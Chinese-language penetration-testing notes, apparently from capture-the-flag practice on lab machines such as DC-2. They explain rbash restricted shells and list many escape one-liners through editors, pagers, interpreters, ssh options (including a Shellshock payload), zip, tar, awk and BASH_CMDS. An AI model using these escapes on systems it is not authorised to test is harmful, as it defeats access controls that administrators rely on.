一、rbash简述
1.什么是rbash
- 它与一般shell的区别在于会限制一些行为,让一些命令无法执行
2.如何设置一个rbash
cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
二、枚举Linux环境(为逃逸做信息收集)
1.检查可用的命令
- 如 cd、ls、su 等
2.检查可用的操作符
> >> < | 等
3.root身份可以运行的命令
sudo -l # sudo应该也会被禁用
4.检查shell
echo $SHELL # 基本都是/bin/rbash
5.检查可用的编程语言
python perl ruby 等
6.检查环境变量
执行:env/printenv
三、常见的逃逸技术
1.“/”字符被允许了
- 如果/被允许我们可以直接运行:/bin/bash
2.cp命令被允许
- 可以直接复制/bin/bash到本地用户目录
cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh
3.常见应用
探测系统中是否存在常见应用
- FTP,GDB(调试程序的工具)等。
- 执行:
ftp > !/bin/sh
- 执行:
gdb > !/bin/sh
- 执行:
- man/git
- 执行:
man > !/bin/sh
- 执行:
git > git help status
- 执行:
- vi/vim
> vim test
:!/bin/sh # 利用在vi/vim中可以执行命令的特点
- more/less
> more test
!/bin/sh # 同样也是利用打开文件后可以在下面运行命令的特点
4、set shell(DC-2靶机使用它成功了)
- 在一些编辑器中可以设置shell变量然后执行,如vim中
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
5.更改PATH或SHELL环境变量
- 执行:
export -p # 查看系统的环境变量设置
- PATH 和 SHELL 变量的权限设置很可能是:“-rx” ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash
6.编程语言
- 语言可以帮助我们切换shell的类型
- (1) python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
- (2) php
php -a then exec("sh -i")
- (3) perl
perl -e "exec '/bin/sh';"
- (4) lua
os.execute('/bin/sh')
- (5) ruby
exec "/bin/sh"
7.其他可以尝试的方法
- ssh
ssh username@IP -t "/bin/sh" or "/bin/bash"
- ssh2
ssh username@IP -t "bash --noprofile"
- ssh3
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
- ssh4
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
- zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
- tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
- awk(超级玛丽靶机使用它成功了)
awk 'BEGIN {system("/bin/bash")}'
8、另类方法(DC-2靶机使用它成功了)
- 在命令行依次执行如下所示的命令
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin